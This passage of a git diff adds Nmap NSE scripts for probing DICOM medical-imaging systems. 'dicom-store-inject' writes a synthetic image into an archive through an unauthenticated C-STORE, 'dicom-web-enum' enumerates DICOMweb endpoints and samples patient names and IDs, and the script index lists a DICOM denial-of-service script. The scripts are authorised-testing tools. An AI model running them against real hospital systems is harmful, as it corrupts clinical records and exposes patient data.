ipairs(res.crashes) do + findings[#findings + 1] = string.format("[CRASH] %s %s\n " .. + " %s", + c.id, c.file, c.result) + end + for _, a in ipairs(res.anomalies) do + findings[#findings + 1] = string.format("[%s] %s %s\n %s", + a.result:match("^(%S+)") or "ANOMALY", a.id, a.file, a.desc) + end + out["CRITICAL FINDINGS"] = findings + else + out["Result"] = "No anomalies detected - target appears robust for" .. + " tested cases" + end + + -- Write JSON results + write_results_json(results_file, host.ip or "unknown", port.number, + called_ae, corpus_path, res, all_case_res, start_time) + out["Results file"] = results_file + + nmap.set_port_state(host, port, "open") + port.version.name = "dicom" + port.version.product = "DICOM SCP" + nmap.set_port_version(host, port, "hardmatched") + + return out +end diff --git a/scripts/dicom-store-inject.nse b/scripts/dicom-store-inject.nse new file mode 100644 index 000000000..4f09a5af2 --- /dev/null +++ b/scripts/dicom-store-inject.nse @@ -0,0 +1,279 @@ +local shortport = require "shortport" +local stdnse = require "stdnse" +local nmap = require "nmap" +local string = require "string" +local math = require "math" +local os = require "os" +local dicom = require "dicom" + +description = [[ +Tests whether a DICOM archive accepts an unauthenticated C-STORE -- i.e. +whether any client that can associate can write a new image (SOP Instance) +into the PACS/VNA. + +Most DICOM Storage SCPs authorise storage by AE Title alone, or not at all, so +an attacker who can reach the DIMSE port can often inject arbitrary instances: +a decoy study attached to a real patient, a tampered image, or a payload that +exercises a downstream viewer. This is the native-protocol counterpart to +dicomweb-enum's STOW-RS surface and the DICOM analogue of hl7-inject. + +The script negotiates a Storage presentation context (as an SCU), builds one +clearly-synthetic Secondary Capture image -- an obviously fake patient +(ZZZTEST), a "SAFE TO DELETE" study description, a tiny 4x4 black frame, and +UIDs under a rootless 2.25 arc -- and issues a single C-STORE. It reports +whether the archive accepted the store (C-STORE-RSP 0x0000 / a warning status), +refused it, or refused the association outright, and prints the UIDs of the +stored instance so an operator can locate and delete it. + +This is a HIGHLY INTRUSIVE, WRITING test: on success it creates a real (though +clearly-marked) object in the target archive. Run it only against systems you +are explicitly authorised to test, and clean up the injected instance +afterwards using the UIDs it reports. +]] + +--- +-- @usage +-- nmap -p104,4242,11112 --script dicom-store-inject +-- +-- @usage +-- nmap -p4242 --script dicom-store-inject \ +-- --script-args 'dicom-store-inject.called_ae=ORTHANC' +-- +-- @usage +-- nmap -p2762 --script dicom-store-inject \ +-- --script-args 'dicom.tls=true' +-- +-- @args dicom-store-inject.called_ae Called AE Title. Default: "ANY-SCP" +-- @args dicom-store-inject.calling_ae Calling AE Title. Default: "NMAP-STORE" +-- @args dicom-store-inject.patient_id PatientID (0010,0020) to write. +-- Default: "NMAP-STOREINJECT" +-- @args dicom-store-inject.patient_name PatientName (0010,0010) to write. +-- Default: "ZZZTEST^NMAP^STORE^INJECT" +-- @args dicom-store-inject.sop_class Storage SOP Class UID to propose. +-- Default: Secondary Capture +-- @args dicom-store-inject.uid_root Root for generated UIDs. +-- Default: "2.25" (rootless UUID arc) +-- @args dicom-store-inject.timeout Association/response timeout (seconds). +-- Default: 10 +-- @args dicom-store-inject.max_pdu Max PDU length. Default: 16384 +-- @args dicom.tls Force transport for the DICOM suite: +-- "true" (TLS), "false" (plaintext), +-- unset = plaintext. +-- +-- @output +-- PORT STATE SERVICE +-- 4242/tcp open dicom +-- | dicom-store-inject: +-- | Association: accepted +-- | Transfer syntax: 1.2.840.10008.1.2.1 (Explicit VR Little Endian) +-- | C-STORE status: 0x0000 (Success) +-- | Result: ACCEPTED - the archive stored the injected instance +-- | Injected instance (delete these to clean up): +-- | SOP Instance UID: 2.25.184467...3.1.1.1 +-- | Study Instance UID: 2.25.184467...3.1 +-- | PatientID: NMAP-STOREINJECT +-- | PatientName: ZZZTEST^NMAP^STORE^INJECT +-- | VULNERABILITY: Unauthenticated DICOM C-STORE accepted +-- |_ An attacker who can associate can write arbitrary images +-- +-- @xmloutput +-- accepted +-- 0x0000 +-- ACCEPTED +-- 2.25.184467...3.1.1.1 +--- + +author = "Paulino Calderon " +license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" +categories = {"vuln", "intrusive"} + +portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp", + "open") + +local function arg(name, default) + return stdnse.get_script_args("dicom-store-inject." .. name) or default +end + +--- Generate a set of related, clearly-synthetic UIDs under one random base. +-- @param root string UID root (e.g. "2.25") +-- @return study_uid, series_uid, instance_uid +local function make_uids(root) + math.randomseed(os.time() + nmap.clock_ms()) + -- A large pseudo-random component keeps collisions with real UIDs unlikely + -- while staying obviously machine-generated. + local base = string.format("%s.%d%04d%04d", root, + os.time() % 100000000, math.random(0, 9999), math.random(0, 9999)) + return base .. ".1", base .. ".1.1", base .. ".1.1.1" +end + +--- Build the synthetic Secondary Capture dataset. +-- @return list of {group, elem, vr, value} for dicom.encode_dataset +local function build_sc_dataset(o, sop_instance_uid, study_uid, series_uid) + local date = os.date("%Y%m%d") + local time = os.date("%H%M%S") + local marker = "NMAP DICOM-STORE-INJECT TEST - SAFE TO DELETE" + -- 4x4, 8-bit MONOCHROME2, single black frame (16 bytes of pixel data). + local pixels = string.rep("\0", 16) + return { + {group = 0x0008, elem = 0x0016, vr = "UI", + value = dicom.SOP_CLASS.SECONDARY_CAPTURE}, + {group = 0x0008, elem = 0x0018, vr = "UI", value = sop_instance_uid}, + {group = 0x0008, elem = 0x0020, vr = "DA", value = date}, + {group = 0x0008, elem = 0x0030, vr = "TM", value = time}, + {group = 0x0008, elem = 0x0060, vr = "CS", value = "OT"}, + {group = 0x0008, elem = 0x0064, vr = "CS", value = "WSD"}, + {group = 0x0008, elem = 0x0070, vr = "LO", value = "NMAP"}, + {group = 0x0008, elem = 0x1030, vr = "LO", value = marker}, + {group = 0x0008, elem = 0x103E, vr = "LO", value = marker}, + {group = 0x0010, elem = 0x0010, vr = "PN", value = o.patient_name}, + {group = 0x0010, elem = 0x0020, vr = "LO", value = o.patient_id}, + {group = 0x0020, elem = 0x000D, vr = "UI", value = study_uid}, + {group = 0x0020, elem = 0x000E, vr = "UI", value = series_uid}, + {group = 0x0020, elem = 0x0011, vr = "IS", value = "1"}, + {group = 0x0020, elem = 0x0013, vr = "IS", value = "1"}, + {group = 0x0028, elem = 0x0002, vr = "US", value = 1}, + {group = 0x0028, elem = 0x0004, vr = "CS", value = "MONOCHROME2"}, + {group = 0x0028, elem = 0x0010, vr = "US", value = 4}, + {group = 0x0028, elem = 0x0011, vr = "US", value = 4}, + {group = 0x0028, elem = 0x0100, vr = "US", value = 8}, + {group = 0x0028, elem = 0x0101, vr = "US", value = 8}, + {group = 0x0028, elem = 0x0102, vr = "US", value = 7}, + {group = 0x0028, elem = 0x0103, vr = "US", value = 0}, + {group = 0x7FE0, elem = 0x0010, vr = "OB", value = pixels}, + } +end + +local TS_NAMES = { + ["1.2.840.10008.1.2"] = "Implicit VR Little Endian", + ["1.2.840.10008.1.2.1"] = "Explicit VR Little Endian", +} + +--- Classify a C-STORE-RSP status code. +-- @return "accepted", "refused" or "failed", and a human label +local function classify_status(code) + if code == 0x0000 then + return "accepted", "Success" + end + local hi = code & 0xF000 + if hi == 0xB000 then + -- Warning: coercion / elements discarded / data set mismatch. The instance + -- is still stored. + return "accepted", string.format("Warning 0x%04X (stored with warning)", + code) + end + if (code & 0xFF00) == 0xA700 then + return "refused", "Refused: Out of Resources" + end + if (code & 0xFF00) == 0xA900 then + return "refused", "Error: Data Set does not match SOP Class" + end + if hi == 0xC000 then + return "failed", "Error: Cannot understand / Processing failure" + end + return "failed", string.format("Unknown status 0x%04X", code) +end + +action = function(host, port) + local o = { + called_ae = arg("called_ae", "ANY-SCP"), + calling_ae = arg("calling_ae", "NMAP-STORE"), + patient_id = arg("patient_id", "NMAP-STOREINJECT"), + patient_name = arg("patient_name", "ZZZTEST^NMAP^STORE^INJECT"), + } + local timeout_s = tonumber(arg("timeout", "10")) or 10 + local max_pdu = tonumber(arg("max_pdu", "16384")) or 16384 + local uid_root = arg("uid_root", "2.25") + local sop_class = arg("sop_class", dicom.SOP_CLASS.SECONDARY_CAPTURE) + + local out = stdnse.output_table() + + -- Propose the chosen storage class (plus Secondary Capture as a fallback) on + -- the standard uncompressed transfer syntaxes. + local sop_list = {sop_class} + if sop_class ~= dicom.SOP_CLASS.SECONDARY_CAPTURE then + sop_list[#sop_list + 1] = dicom.SOP_CLASS.SECONDARY_CAPTURE + end + local transfer_uids = { + dicom.TRANSFER_SYNTAX.EXPLICIT_LE, + dicom.TRANSFER_SYNTAX.IMPLICIT_LE, + } + + local ok, sock, pctxs = dicom.do_associate(host, port, o.called_ae, + o.calling_ae, sop_list, max_pdu, timeout_s, transfer_uids) + if not ok then + out["Association"] = "refused (" .. tostring(sock) .. ")" + out["Result"] = + "Association refused - archive enforces association-level access control" + out["Note"] = + "The target rejected the association before any C-STORE was attempted" + return out + end + out["Association"] = "accepted" + + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if not pctx_id then + dicom.do_release(sock, timeout_s) + out["Result"] = + "No storage presentation context accepted - archive would not negotiate" + .. " a Storage SCP role for the proposed SOP class" + return out + end + local ts = pctxs[pctx_id].transfer_syntax or dicom.TRANSFER_SYNTAX.EXPLICIT_LE + out["Transfer syntax"] = string.format("%s (%s)", ts, + TS_NAMES[ts] or "unknown") + + -- Build and send the synthetic instance. + local study_uid, series_uid, instance_uid = make_uids(uid_root) + local tags = build_sc_dataset(o, instance_uid, study_uid, series_uid) + local ds_bytes = dicom.encode_dataset(tags, ts) + + local cmd_bytes = dicom.build_cstore_rq(1, sop_class, instance_uid) + local sent = dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, max_pdu) + if not sent then + dicom.do_release(sock, timeout_s) + out["Result"] = "C-STORE send failed (connection error)" + return out + end + + sock:set_timeout(timeout_s * 1000) + local pdu_type, cmd_elems, _, raw_or_err = dicom.recv_dimse(sock, timeout_s) + if not pdu_type then + dicom.do_release(sock, timeout_s) + out["Result"] = "No C-STORE-RSP received (" .. tostring(raw_or_err) .. ")" + return out + end + if pdu_type == dicom.PDU_CODES.ABORT then + out["Result"] = "Server sent A-ABORT in response to the C-STORE" + return out + end + + local status_code = 0xFFFF + if cmd_elems and cmd_elems["0000,0900"] then + status_code = cmd_elems["0000,0900"].value + end + dicom.do_release(sock, timeout_s) + + local verdict, label = classify_status(status_code) + out["C-STORE status"] = string.format("0x%04X (%s)", status_code, label) + + if verdict == "accepted" then + out["Result"] = "ACCEPTED - the archive stored the injected instance" + out["Injected instance (delete these to clean up)"] = { + "SOP Instance UID: " .. instance_uid, + "Study Instance UID: " .. study_uid, + "Series Instance UID:" .. series_uid, + "PatientID: " .. o.patient_id, + "PatientName: " .. o.patient_name, + } + out["VULNERABILITY"] = "Unauthenticated DICOM C-STORE accepted" + out["Impact"] = + "An attacker who can associate can write arbitrary images to the archive" + nmap.set_port_version(host, port, "hardmatched") + elseif verdict == "refused" then + out["Result"] = "REFUSED - the archive declined to store the instance" + else + out["Result"] = "FAILED - " .. label + end + + return out +end diff --git a/scripts/dicom-web-enum.nse b/scripts/dicom-web-enum.nse new file mode 100644 index 000000000..a85ac6c6e --- /dev/null +++ b/scripts/dicom-web-enum.nse @@ -0,0 +1,497 @@ +local http = require "http" +local json = require "json" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local math = require "math" + +description = [[ +Discovers and enumerates DICOMweb services -- the HTTP/REST face of DICOM +(PS3.18): QIDO-RS (query), WADO-RS (retrieve) and STOW-RS (store). + +Modern PACS, VNAs and cloud imaging archives (Orthanc, dcm4chee-arc, and the +cloud healthcare APIs) expose imaging over HTTP alongside, or instead of, the +classic DIMSE port. Nmap has rich DIMSE coverage (dicom-info, dicom-cfind-ls, +...) but nothing for the web tier, which is often where exposure actually +lives -- a QIDO-RS "/studies" endpoint reachable without authentication leaks +the same study- and patient-level metadata as an unauthenticated C-FIND, and +a STOW-RS "/studies" endpoint reachable without authentication is an +image-injection surface. + +The script: + * probes a list of common DICOMweb roots (or a caller-supplied one) for a + QIDO-RS "/studies" endpoint; + * classifies the endpoint as open (returns application/dicom+json), + authentication-required (401/403) or absent (404); + * on an open endpoint, reports the study count and a sample of the + study-level metadata returned (patient name/ID, study date, description, + modalities) -- i.e. the PHI an unauthenticated client can read; + * checks WADO-RS retrieval (study metadata) and STOW-RS store-endpoint + presence, the latter via OPTIONS / an empty multipart probe that does NOT + create any object; + * flags unauthenticated QIDO/STOW access and PHI carried over plaintext + HTTP. + +It is read-only: it issues GET, OPTIONS and (for STOW detection only) an empty +POST that cannot store an instance. It does not upload images or modify data. + +The three DICOMweb transactions tested, and the resources they expose: + * QIDO-RS (Query based on ID for DICOM Objects, PS3.18 Section 10.6) -- the + "/studies", "/series" and "/instances" search resources. The study-level + reply is a DICOM+JSON array (PS3.18 Annex F) of attribute objects keyed by + 8-hex-digit tag; it carries PatientName (0010,0010), PatientID (0010,0020), + StudyDate (0008,0020), StudyDescription (0008,1030), ModalitiesInStudy + (0008,0061) and the study UID (0020,000D). + * WADO-RS (Web Access to DICOM Objects by RESTful services, PS3.18 Section + 10.4) -- "/studies/{uid}/metadata" and the bulk instance/frame retrieval + resources. Metadata retrievability without auth means the full images are + retrievable too. + * STOW-RS (Store Over the Web, PS3.18 Section 10.5) -- the "/studies" POST + resource, the HTTP equivalent of a C-STORE. An open STOW endpoint is an + unauthenticated image-write surface (see dicom-store-inject for the DIMSE + equivalent). + +References: + * DICOM PS3.18, Web Services: + https://dicom.nema.org/medical/dicom/current/output/html/part18.html + * QIDO-RS (Search transaction): PS3.18 Section 10.6 + * WADO-RS (Retrieve transaction): PS3.18 Section 10.4 + * STOW-RS (Store transaction): PS3.18 Section 10.5 + * DICOM JSON Model: PS3.18 Annex F + * Orthanc DICOMweb plugin: + https://orthanc.uclouvain.be/book/plugins/dicomweb.html + * dcm4chee-arc-light (DICOMweb archive): + https://github.com/dcm4che/dcm4chee-arc-light +]] + +--- +-- @usage +-- nmap -p 8042 --script dicom-web-enum +-- +-- @usage +-- nmap -p 443 --script dicom-web-enum \ +-- --script-args 'dicom-web-enum.root=/dicom-web,dicom-web-enum.scheme=https'\ +-- +-- +-- @usage +-- nmap -p 8042 --script dicom-web-enum \ +-- --script-args 'dicom-web-enum.samples=5' +-- +-- @args dicom-web-enum.root DICOMweb base path to test (e.g. "/dicom-web"). +-- If unset, a built-in candidate list is probed. +-- @args dicom-web-enum.scheme "http" or "https". Default: inferred from the +-- port (https for ssl/443/8443, else http, with a +-- fallback to the other scheme). +-- @args dicom-web-enum.samples Number of studies to sample from QIDO-RS for +-- metadata reporting. Default: 3. 0 disables +-- metadata sampling (endpoint detection only). +-- @args dicom-web-enum.timeout HTTP timeout in seconds. Default: 10. +-- +-- @output +-- PORT STATE SERVICE +-- 8042/tcp open http +-- | dicom-web-enum: +-- | Base URL: http://10.0.0.5:8042/dicom-web +-- | Server: Orthanc 1.12.4 +-- | Transport: HTTP (plaintext) +-- | QIDO-RS (query): OPEN - no authentication required +-- | Studies visible: 128 +-- | Sample studies: +-- | DOE^JOHN | ID=PAT001 | 20240115 | CT CHEST | CT | series=4 +-- | ROE^JANE | ID=PAT002 | 20240116 | MR BRAIN | MR | series=6 +-- | WADO-RS (retrieve): OPEN - study metadata retrievable +-- | STOW-RS (store): OPEN - store endpoint accepts unauthenticated POST +-- | VULNERABILITY: Unauthenticated DICOMweb access exposes PHI and an +-- | image-injection (STOW-RS) surface +-- |_ PHI is served over plaintext HTTP (no TLS) +-- +-- @xmloutput +-- http://10.0.0.5:8042/dicom-web +-- OPEN +-- OPEN +-- OPEN +-- +-- @see dicom-info.nse +-- @see dicom-cfind-ls.nse +-- @see dicom-store-inject.nse +--- + +author = "Paulino Calderon " +license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" +categories = {"discovery", "safe"} + +-- DICOMweb services are commonly co-located with the target's HTTP(S) service +-- (Orthanc's REST API defaults to 8042); fire on any HTTP service plus the +-- ports operators most often bind DICOMweb to. +portrule = function(host, port) + if shortport.http(host, port) then + return true + end + return shortport.port_or_service( + {8042, 8080, 8443, 4242}, {"http", "https"}, "tcp", "open")(host, port) +end + +-- Candidate DICOMweb roots, ordered by how often each is seen in the wild. +local DEFAULT_ROOTS = { + "/dicom-web", + "/dicomweb", + "/wado-rs", + "/rs", + "/qido-rs", + "/dcm4chee-arc/aets/DCM4CHEE/rs", + "/pacs/rs", + "/api/dicomweb", + "", +} + +-- Study-level DICOM tags reported for each sampled study. +local TAGS = { + patient_name = "00100010", + patient_id = "00100020", + study_date = "00080020", + study_desc = "00081030", + modalities = "00080061", + n_series = "00201206", + study_uid = "0020000D", +} + +local function arg(name, default) + return stdnse.get_script_args("dicom-web-enum." .. name) or default +end + +--- Extract the first Value of a DICOM+JSON attribute. +-- Handles PN attributes, whose value is an object with an Alphabetic key. +-- @param study table one QIDO-RS study object (tag -> attribute) +-- @param tag string 8-hex-digit tag key +-- @return string or nil +local function tag_value(study, tag) + local attr = study[tag] + if type(attr) ~= "table" then + return nil + end + local values = attr.Value + if type(values) ~= "table" or #values == 0 then + return nil + end + local v = values[1] + if type(v) == "table" then + -- Person Name: {Alphabetic="DOE^JOHN", Ideographic=..., Phonetic=...} + v = v.Alphabetic or v.Ideographic or v.Phonetic + end + if v == nil then + return nil + end + -- ModalitiesInStudy (CS) may carry several values. + if tag == TAGS.modalities and #values > 1 then + local mods = {} + for _, m in ipairs(values) do + mods[#mods + 1] = tostring(m) + end + return table.concat(mods, "/") + end + return tostring(v) +end + +--- One-line summary of a sampled study. +local function study_line(study) + local parts = { + tag_value(study, TAGS.patient_name) or "(no name)", + "ID=" .. (tag_value(study, TAGS.patient_id) or "?"), + tag_value(study, TAGS.study_date) or "(no date)", + tag_value(study, TAGS.study_desc) or "(no description)", + tag_value(study, TAGS.modalities) or "?", + } + local n = tag_value(study, TAGS.n_series) + if n then + parts[#parts + 1] = "series=" .. n + end + return table.concat(parts, " | ") +end + +--- Build option table for an HTTP request with the given Accept header. +local function opts(scheme, timeout_s, accept, extra) + local header = {} + if accept then + header["Accept"] = accept + end + if extra then + for k, v in pairs(extra) do + header[k] = v + end + end + return { + scheme = scheme, + header = header, + timeout = timeout_s * 1000, + no_cache = true, + redirect_ok = false, + } +end + +--- Try QIDO-RS "/studies" under one root. +-- @return status one of "open", "auth", "absent", "error" +-- @return studies parsed JSON array (only for "open"), or a detail string +local function probe_qido(host, port, scheme, root, timeout_s, limit) + local path = root .. "/studies?limit=" .. tostring(math.max(limit, 1)) + local o = opts(scheme, timeout_s, "application/dicom+json") + local r = http.get(host, port, path, o) + if not r or not r.status then + return "error", "no HTTP response" + end + if r.status == 401 or r.status == 403 then + return "auth", tostring(r.status) + end + if r.status == 200 and r.body then + local ct = (r.header and r.header["content-type"]) or "" + if ct:find("json", 1, true) or r.body:match("^%s*%[") then + local ok, parsed = json.parse(r.body) + if ok and type(parsed) == "table" then + return "open", parsed + end + end + return "absent", "200 but not DICOM+JSON" + end + return "absent", tostring(r.status) +end + +--- Ask QIDO-RS for a study count (a bare /studies, no limit). +local function count_studies(host, port, scheme, root, timeout_s) + local o = opts(scheme, timeout_s, "application/dicom+json") + local r = http.get(host, port, root .. "/studies", o) + if r and r.status == 200 and r.body then + local ok, parsed = json.parse(r.body) + if ok and type(parsed) == "table" then + return #parsed + end + end + return nil +end + +--- WADO-RS: is study metadata retrievable? +-- @return "open", "auth" or "absent" +local function probe_wado(host, port, scheme, root, study_uid, timeout_s) + if not study_uid then + return "unknown" + end + local path = root .. "/studies/" .. study_uid .. "/metadata" + local o = opts(scheme, timeout_s, "application/dicom+json") + local r = http.get(host, port, path, o) + if not r or not r.status then + return "absent" + end + if r.status == 401 or r.status == 403 then + return "auth" + end + if r.status == 200 then + return "open" + end + return "absent" +end + +--- STOW-RS: does a store endpoint exist, and is it reachable without auth? +-- Uses OPTIONS first; falls back to an empty multipart POST that cannot +-- create an instance (a server that implements STOW rejects the empty body +-- with 400/409/415/500; a server without it answers 404/405). +-- @return "open", "auth", "present" (exists, auth state unknown) or "absent" +local function probe_stow(host, port, scheme, root, timeout_s) + local path = root .. "/studies" + + -- OPTIONS is a cheap existence signal (often an unauthenticated CORS + -- preflight), but it does not reveal whether POST itself needs auth. + local advertised = false + local ro = http.generic_request(host, port, "OPTIONS", path, + opts(scheme, timeout_s, nil)) + if ro and ro.status then + local allow = (ro.header and (ro.header["allow"] + or ro.header["access-control-allow-methods"])) or "" + advertised = allow:upper():find("POST", 1, true) ~= nil + end + + -- Empty multipart/related body: understood-but-rejected proves the endpoint + -- exists and reveals its auth posture; it carries no DICOM part so nothing + -- can be stored. This verdict is authoritative over OPTIONS. + local boundary = "nmapDICOMWEBprobe" + local po = opts(scheme, timeout_s, "application/dicom+json", { + ["Content-Type"] = + 'multipart/related; type="application/dicom"; boundary=' .. boundary, + }) + po.content = "--" .. boundary .. "--\r\n" + local rp = http.generic_request(host, port, "POST", path, po) + if rp and rp.status then + local s = rp.status + if s == 401 or s == 403 then + return "auth" + end + -- 2xx (lenient accept of an empty body) or an understood-but-rejected + -- payload (400/409/415/500) both mean the store endpoint is reachable + -- without authentication. + if s == 200 or s == 202 or s == 400 or s == 409 or s == 415 + or s == 500 then + return "open" + end + -- 404/405: no store endpoint here (unless OPTIONS said otherwise). + end + + return advertised and "present" or "absent" +end + +--- Best-effort server identification (HTTP Server header + Orthanc /system). +local function identify_server(host, port, scheme, timeout_s, base_header) + local server = base_header + local o = opts(scheme, timeout_s, "application/json") + local r = http.get(host, port, "/system", o) + if r and r.status == 200 and r.body then + local ok, sys = json.parse(r.body) + if ok and type(sys) == "table" and sys.Name then + local ver = sys.Version and (" " .. tostring(sys.Version)) or "" + return tostring(sys.Name) .. ver + end + end + return server +end + +--- Decide the scheme(s) to try for this port. +local function scheme_order(port) + local forced = arg("scheme", nil) + if forced then + return {forced} + end + local svc = port.service or "" + local tunnel = (port.version and port.version.service_tunnel) or "" + if tunnel == "ssl" or svc == "https" or port.number == 443 + or port.number == 8443 then + return {"https", "http"} + end + return {"http", "https"} +end + +--- Find a working QIDO root across the candidate roots for one scheme. +-- @return root, status, studies-or-detail, scheme +local function discover(host, port, scheme, roots, timeout_s, limit) + local best + for _, root in ipairs(roots) do + local status, data = probe_qido(host, port, scheme, root, timeout_s, limit) + if status == "open" then + return root, status, data + end + if status == "auth" and not best then + best = {root = root, status = status, data = data} + end + end + if best then + return best.root, best.status, best.data + end + return nil +end + +action = function(host, port) + local timeout_s = tonumber(arg("timeout", "10")) or 10 + local samples = tonumber(arg("samples", "3")) or 3 + local user_root = arg("root", nil) + local roots = user_root and {user_root} or DEFAULT_ROOTS + local limit = math.max(samples, 1) + + local root, status, data, scheme + for _, sch in ipairs(scheme_order(port)) do + root, status, data = discover(host, port, sch, roots, timeout_s, limit) + if root then + scheme = sch + break + end + end + + if not root then + return nil + end + + local out = stdnse.output_table() + local base = string.format("%s://%s:%d%s", scheme, host.ip, port.number, root) + out["Base URL"] = base + + -- Server identification (Server header, then Orthanc /system). + local server_hdr + do + local r = http.get(host, port, root .. "/studies?limit=1", + opts(scheme, timeout_s, "application/dicom+json")) + server_hdr = r and r.header and r.header["server"] + end + local server = identify_server(host, port, scheme, timeout_s, server_hdr) + if server then + out["Server"] = server + end + + local plaintext = (scheme == "http") + out["Transport"] = plaintext and "HTTP (plaintext)" or "HTTPS (TLS)" + + local phi_exposed = false + local sample_study_uid + + if status == "auth" then + out["QIDO-RS (query)"] = + "AUTH REQUIRED - endpoint present, returned " .. tostring(data) + elseif status == "open" then + out["QIDO-RS (query)"] = "OPEN - no authentication required" + local total = count_studies(host, port, scheme, root, timeout_s) + out["Studies visible"] = total or (#data .. " (sample)") + if #data > 0 then + sample_study_uid = tag_value(data[1], TAGS.study_uid) + if samples > 0 then + local lines = {} + for i = 1, math.min(samples, #data) do + lines[#lines + 1] = study_line(data[i]) + if tag_value(data[i], TAGS.patient_name) + or tag_value(data[i], TAGS.patient_id) then + phi_exposed = true + end + end + out["Sample studies"] = lines + end + end + end + + -- WADO-RS retrieval. + local wado = probe_wado(host, port, scheme, root, sample_study_uid, timeout_s) + if wado == "open" then + out["WADO-RS (retrieve)"] = "OPEN - study metadata retrievable" + elseif wado == "auth" then + out["WADO-RS (retrieve)"] = "AUTH REQUIRED" + elseif wado == "absent" then + out["WADO-RS (retrieve)"] = "not detected" + end + + -- STOW-RS store surface. + local stow = probe_stow(host, port, scheme, root, timeout_s) + local stow_open = false + if stow == "open" then + out["STOW-RS (store)"] = + "OPEN - store endpoint accepts unauthenticated POST" + stow_open = true + elseif stow == "present" then + out["STOW-RS (store)"] = "present (POST advertised)" + elseif stow == "auth" then + out["STOW-RS (store)"] = "AUTH REQUIRED" + else + out["STOW-RS (store)"] = "not detected" + end + + -- Findings. + local warnings = {} + if status == "open" and (phi_exposed or wado == "open") then + out["VULNERABILITY"] = + "Unauthenticated DICOMweb access exposes PHI" + .. (stow_open and " and an image-injection (STOW-RS) surface" or "") + elseif stow_open then + out["VULNERABILITY"] = + "Unauthenticated STOW-RS store endpoint (image-injection surface)" + end + if plaintext and (phi_exposed or status == "open" or status == "auth") then + warnings[#warnings + 1] = + "DICOMweb (PHI) is served over plaintext HTTP (no TLS)" + end + if #warnings > 0 then + out["WARNINGS"] = warnings + end + + return out +end diff --git a/scripts/script.db b/scripts/script.db index d1d683173..fca72dbbf 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -86,7 +86,15 @@ Entry { filename = "db2-das-info.nse", categories = { "discovery", "safe", "vers Entry { filename = "deluge-rpc-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "dhcp-discover.nse", categories = { "discovery", "safe", } } Entry { filename = "dicom-brute.nse", categories = { "auth", "brute", } } +Entry { filename = "dicom-cfind-ls.nse", categories = { "discovery", "safe", } } +Entry { filename = "dicom-cmove.nse", categories = { "discovery", "intrusive", } } +Entry { filename = "dicom-get.nse", categories = { "discovery", "intrusive", } } +Entry { filename = "dicom-info.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "dicom-ping.nse", categories = { "auth", "default", "discovery", "safe", } } +Entry { filename = "dicom-slowloris.nse", categories = { "dos", "intrusive", } } +Entry { filename = "dicom-store-fuzzer.nse", categories = { "fuzzer", "intrusive", } } +Entry { filename = "dicom-store-inject.nse", categories = { "intrusive", "vuln", } } +Entry { filename = "dicom-web-enum.nse", categories = { "discovery", "safe", } } Entry { filename = "dict-info.nse", categories = { "discovery", "safe", } } Entry { filename = "distcc-cve2004-2687.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "dns-blacklist.nse", categories = { "external", "safe", } } @@ -466,7 +474,6 @@ Entry { filename = "rtsp-url-brute.nse", categories = { "brute", "intrusive", } Entry { filename = "rusers.nse", categories = { "discovery", "safe", } } Entry { filename = "s7-info.nse", categories = { "discovery", "version", } } Entry { filename = "samba-vuln-cve-2012-1182.nse", categories = { "intrusive", "vuln", } } -Entry { filename = "sap-hana-auth.nse", categories = { } } Entry { filename = "servicetags.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "shodan-api.nse", categories = { "discovery", "external", "safe", } } Entry { filename = "sip-brute.nse", categories = { "brute", "intrusive", } }